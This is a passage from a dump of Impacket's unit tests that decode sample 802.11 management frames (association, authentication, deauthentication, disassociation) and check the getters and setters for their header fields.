addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x8e50)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 2277)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"1\\x04\\n\\x00\\x00\\x05ddwrt\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl!\\x02\\n\\x11$\\x02\\x01\\x0e0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x002\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x00\\x10\\x00\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Association Request Capabilities field' \n        self.assertEqual(self.management_association_request.get_capabilities(), 0x0431)\n        self.management_association_request.set_capabilities(0x4321) \n        self.assertEqual(self.management_association_request.get_capabilities(), 0x4321)\n\n    def test_11(self):\n        'Test Management Association Request Listen Interval field' \n        self.assertEqual(self.management_association_request.get_listen_interval(), 0x000a)\n        self.management_association_request.set_listen_interval(0x4321) \n        self.assertEqual(self.management_association_request.get_listen_interval(), 0x4321)\n\n    def test_12(self):\n        'Test Management Association Request Ssid getter/setter methods'\n        act_ssid=b\"ddwrt\"\n        new_ssid=b\"holala\"\n        self.assertEqual(self.management_association_request.get_ssid(), act_ssid)\n        self.management_association_request.set_ssid(new_ssid)\n        self.assertEqual(self.management_association_request.get_ssid(), new_ssid)\n        self.assertEqual(self.management_association_request.get_header_size(), 68+1)\n\n    def test_13(self):\n        'Test Management Association Request Supported_rates getter/setter methods'\n        self.assertEqual(self.management_association_request.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))\n        self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))\n        \n        self.management_association_request.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n\n        self.assertEqual(self.management_association_request.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n        self.assertEqual(self.management_association_request.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))\n        self.assertEqual(self.management_association_request.get_header_size(), 68-2)\n\n    def test_14(self):\n        'Test Management Association Request RSN getter/setter methods'\n        self.assertEqual(self.management_association_request.get_rsn(), b\"\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\x00\")\n        self.management_association_request.set_rsn(b\"\\xff\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\xff\")\n\n        self.assertEqual(self.management_association_request.get_rsn(), b\"\\xff\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x08\\xff\")\n        self.assertEqual(self.management_association_request.get_header_size(), 68)\n\n    def test_15(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_association_request.get_vendor_specific(), [(b\"\\x00\\x10\\x18\",b\"\\x02\\x00\\x10\\x00\\x00\\x00\")])\n\n        self.management_association_request.add_vendor_specific(b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_association_request.get_vendor_specific(), \n            [(b\"\\x00\\x10\\x18\", b\"\\x02\\x00\\x10\\x00\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_association_request.get_header_size(), 68+11)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementAssociationResponse.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementAssociationResponseFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00\\xc2L\\xfa\\x00<\\x00\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xb4\\x9e_\\x00\\x00\\x16\\x10\\x00:\\x01p\\x1a\\x04T\\xe3\\x86\\x00\\x18\\xf8lvB\\x00\\x18\\xf8lvB\\xf0\\x02\\x11\\x04\\x00\\x00\\x04\\xc0\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl2\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x02\\xf0\\x00\\x00\\x00f%\\xdf7\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_association_response=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_association_response.__class__), \"impacket.dot11.Dot11ManagementAssociationResponse\")\n        else:\n            self.assertEqual(str(self.management_association_response.__class__), \"<class 'impacket.dot11.Dot11ManagementAssociationResponse'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_association_response.get_header_size(), 33)\n        self.assertEqual(self.management_association_response.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1a,0x04,0x54,0xe3,0x86])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x1a,0x04,0x54,0xe3,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x02f0)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 47)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x11\\x04\\x00\\x00\\x04\\xc0\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl2\\x04\\x0c\\x12\\x18`\\xdd\\t\\x00\\x10\\x18\\x02\\x02\\xf0\\x00\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Association Response Capabilities field' \n        self.assertEqual(self.management_association_response.get_capabilities(), 0x0411)\n        self.management_association_response.set_capabilities(0x4321)\n        self.assertEqual(self.management_association_response.get_capabilities(), 0x4321)\n\n    def test_11(self):\n        'Test Management Association Response Status Code field' \n        self.assertEqual(self.management_association_response.get_status_code(), 0x0000)\n        self.management_association_response.set_status_code(0x4321)\n        self.assertEqual(self.management_association_response.get_status_code(), 0x4321)\n\n    def test_12(self):\n        'Test Management Association Response Association ID field'\n        self.assertEqual(self.management_association_response.get_association_id(), 0xc004)\n        self.management_association_response.set_association_id(0x4321)\n        self.assertEqual(self.management_association_response.get_association_id(), 0x4321)\n\n    def test_13(self):\n        'Test Management Association Response Supported_rates getter/setter methods'\n        self.assertEqual(self.management_association_response.get_supported_rates(), (0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c))\n        self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (1.0, 2.0, 5.5, 11.0, 18.0, 24.0, 36.0, 54.0))\n        \n        self.management_association_response.set_supported_rates((0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n\n        self.assertEqual(self.management_association_response.get_supported_rates(), (0x12, 0x98, 0x24, 0xb0, 0x48, 0x60))\n        self.assertEqual(self.management_association_response.get_supported_rates(human_readable=True), (9.0, 12.0, 18.0, 24.0, 36.0, 48.0))\n        self.assertEqual(self.management_association_response.get_header_size(), 33-2)\n\n    def test_14(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_association_response.get_vendor_specific(), [(b\"\\x00\\x10\\x18\",b\"\\x02\\x02\\xf0\\x00\\x00\\x00\")])\n\n        self.management_association_response.add_vendor_specific(b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_association_response.get_vendor_specific(), \n            [(b\"\\x00\\x10\\x18\", b\"\\x02\\x02\\xf0\\x00\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\", b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_association_response.get_header_size(), 33+11)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementAuthentication.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementAuthenticationFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00\\x39\\x55\\x6f\\x05\\x3c\\x00\\x00\\x00\\x10\\x02\\x85\\x09\\xa0\\x00\\xb8\\x9d\\x60\\x00\\x00\\x1b\\xb0\\x00\\x3a\\x01\\x00\\x18\\xf8\\x6c\\x76\\x42\\x70\\x1a\\x04\\x54\\xe3\\x86\\x00\\x18\\xf8\\x6c\\x76\\x42\\x30\\xc8\\x00\\x00\\x01\\x00\\x00\\x00\\xdd\\x09\\x00\\x10\\x18\\x02\\x00\\x10\\x00\\x00\\x00\\x8a\\x64\\xe9\\x3b\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_authentication=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_authentication.__class__), \"impacket.dot11.Dot11ManagementAuthentication\")\n        else:\n            self.assertEqual(str(self.management_authentication.__class__), \"<class 'impacket.dot11.Dot11ManagementAuthentication'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_authentication.get_header_size(), 17)\n        self.assertEqual(self.management_authentication.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0xc830)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 3203)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x00\\x00\\x01\\x00\\x00\\x00\\xdd\\x09\\x00\\x10\\x18\\x02\\x00\\x10\\x00\\x00\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Frame Authentication Algorithm field' \n        self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x0000)\n        self.management_authentication.set_authentication_algorithm(0x8765)\n        self.assertEqual(self.management_authentication.get_authentication_algorithm(), 0x8765)\n\n    def test_11(self):\n        'Test Management Frame Authentication Sequence field' \n        self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x0001)\n        self.management_authentication.set_authentication_sequence(0x8765)\n        self.assertEqual(self.management_authentication.get_authentication_sequence(), 0x8765)\n\n    def test_12(self):\n        'Test Management Frame Authentication Status field' \n        self.assertEqual(self.management_authentication.get_authentication_status(), 0x0000)\n        self.management_authentication.set_authentication_status(0x8765)\n        self.assertEqual(self.management_authentication.get_authentication_status(), 0x8765)\n\n    def test_13(self):\n        'Test Management Vendor Specific getter/setter methods'\n        self.assertEqual(self.management_authentication.get_vendor_specific(), [(b\"\\x00\\x10\\x18\",b\"\\x02\\x00\\x10\\x00\\x00\\x00\")])\n        self.management_authentication.add_vendor_specific(b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\")\n\n        self.assertEqual(self.management_authentication.get_vendor_specific(), \n            [(b\"\\x00\\x10\\x18\",b\"\\x02\\x00\\x10\\x00\\x00\\x00\"),\n             (b\"\\x00\\x00\\x40\",b\"\\x04\\x04\\x04\\x04\\x04\\x04\"),\n            ])\n        self.assertEqual(self.management_authentication.get_header_size(), 28)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementDeauthentication.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementBeaconFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b'\\x00\\x00\\x10\\x00\\x6e\\x00\\x00\\x00\\x00\\x02\\x94\\x09\\xa0\\x00\\x3a\\x00\\xc0\\x00\\x3a\\x01\\x00\\x15\\xaf\\x64\\xac\\xbd\\x00\\x18\\x39\\xc1\\xfc\\xe2\\x00\\x18\\x39\\xc1\\xfc\\xe2\\x20\\x3b\\x0f\\x00'\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_deauthentication=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_deauthentication.__class__), \"impacket.dot11.Dot11ManagementDeauthentication\")\n        else:\n            self.assertEqual(str(self.management_deauthentication.__class__), \"<class 'impacket.dot11.Dot11ManagementDeauthentication'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_deauthentication.get_header_size(), 2)\n        self.assertEqual(self.management_deauthentication.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x15,0xAF,0x64,0xAC,0xBD])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x15,0xAF,0x64,0xAC,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0x39,0xC1,0xFC,0xE2])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0x39,0xC1,0xFC,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x3b20)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 0x01)\n\n    def test_08(self):\n        'Test Sequence number field'\n        self.assertEqual(self.management_base.get_sequence_number(), 946)\n        self.management_base.set_sequence_number(0xF234) # Es de 12 bit\n        self.assertEqual(self.management_base.get_sequence_number(), 0x0234)\n        \n    def test_09(self):\n        'Test Management Frame Data field'\n        frame_body=b\"\\x0f\\x00\"\n        self.assertEqual(self.management_base.get_frame_body(), frame_body)\n\n    def test_10(self):\n        'Test Management Reason Code field' \n        self.assertEqual(self.management_deauthentication.get_reason_code(), 0x000f)\n        self.management_deauthentication.set_reason_code(0x8765)\n        self.assertEqual(self.management_deauthentication.get_reason_code(), 0x8765)\n        \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_FrameManagementDisassociation.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom impacket.dot11 import Dot11Types\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestDot11ManagementDisassociationFrames(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Management Frame \n        #\n        self.rawframe=b\"\\x00\\x00\\x1c\\x00\\xef\\x18\\x00\\x00\\xe7\\x8a\\xec\\xb8\\x3b\\x00\\x00\\x00\\x10\\x02\\x85\\x09\\xa0\\x00\\xb5\\x9d\\x60\\x00\\x00\\x18\\xa0\\x00\\x3a\\x01\\x00\\x18\\xf8\\x6c\\x76\\x42\\x70\\x1a\\x04\\x54\\xe3\\x86\\x00\\x18\\xf8\\x6c\\x76\\x42\\x70\\x92\\x08\\x00\\xbf\\x1b\\xa3\\xa8\"\n        self.radiotap_decoder = RadioTapDecoder()\n        radiotap=self.radiotap_decoder.decode(self.rawframe)\n\n        if PY2:\n            self.assertEqual(str(radiotap.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(radiotap.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n\n        self.dot11=radiotap.child()\n        if PY2:\n            self.assertEqual(str(self.dot11.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.dot11.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n        type = self.dot11.get_type()\n        self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT)\n        \n        subtype = self.dot11.get_subtype()\n        self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION)\n        \n        typesubtype = self.dot11.get_type_n_subtype()\n        self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION)\n        \n        self.management_base=self.dot11.child()\n        if PY2:\n            self.assertEqual(str(self.management_base.__class__), \"impacket.dot11.Dot11ManagementFrame\")\n        else:\n            self.assertEqual(str(self.management_base.__class__), \"<class 'impacket.dot11.Dot11ManagementFrame'>\")\n        \n        self.management_disassociation=self.management_base.child()\n        if PY2:\n            self.assertEqual(str(self.management_disassociation.__class__), \"impacket.dot11.Dot11ManagementDisassociation\")\n        else:\n            self.assertEqual(str(self.management_disassociation.__class__), \"<class 'impacket.dot11.Dot11ManagementDisassociation'>\")\n            \n        \n    def test_01(self):\n        'Test Header and Tail Size field'\n        self.assertEqual(self.management_base.get_header_size(), 22)\n        self.assertEqual(self.management_base.get_tail_size(), 0)\n        self.assertEqual(self.management_disassociation.get_header_size(), 2)\n        self.assertEqual(self.management_disassociation.get_tail_size(), 0)\n        \n    def test_02(self):\n        'Test Duration field'\n        \n        self.assertEqual(self.management_base.get_duration(), 0x013a)\n        self.management_base.set_duration(0x1234)\n        self.assertEqual(self.management_base.get_duration(), 0x1234)\n    \n    def test_03(self):\n        'Test Destination Address field'\n        \n        addr=self.management_base.get_destination_address()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_destination_address(addr)\n        self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_04(self):\n        'Test Source Address field'\n        \n        addr=self.management_base.get_source_address()\n        \n        self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_source_address(addr)\n        self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34])\n\n    def test_05(self):\n        'Test BSSID Address field'\n        \n        addr=self.management_base.get_bssid()\n        \n        self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42])\n        addr[0]=0x12\n        addr[5]=0x34\n        self.management_base.set_bssid(addr)\n        self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34])\n\n    def test_06(self):\n        'Test Sequence control field'\n        self.assertEqual(self.management_base.get_sequence_control(), 0x9270)\n        self.management_base.set_sequence_control(0x1234)\n        self.assertEqual(self.management_base.get_sequence_control(), 0x1234)\n\n    def test_07(self):\n        'Test Fragment number field'\n        self.assertEqual(self.management_base.get_fragment_number(), 0x00)\n        self.management_base.set_fragment_number(0xF1) # Es de 4 bit\n        self.assertEqual(self.management_base.get_fragment_number(), 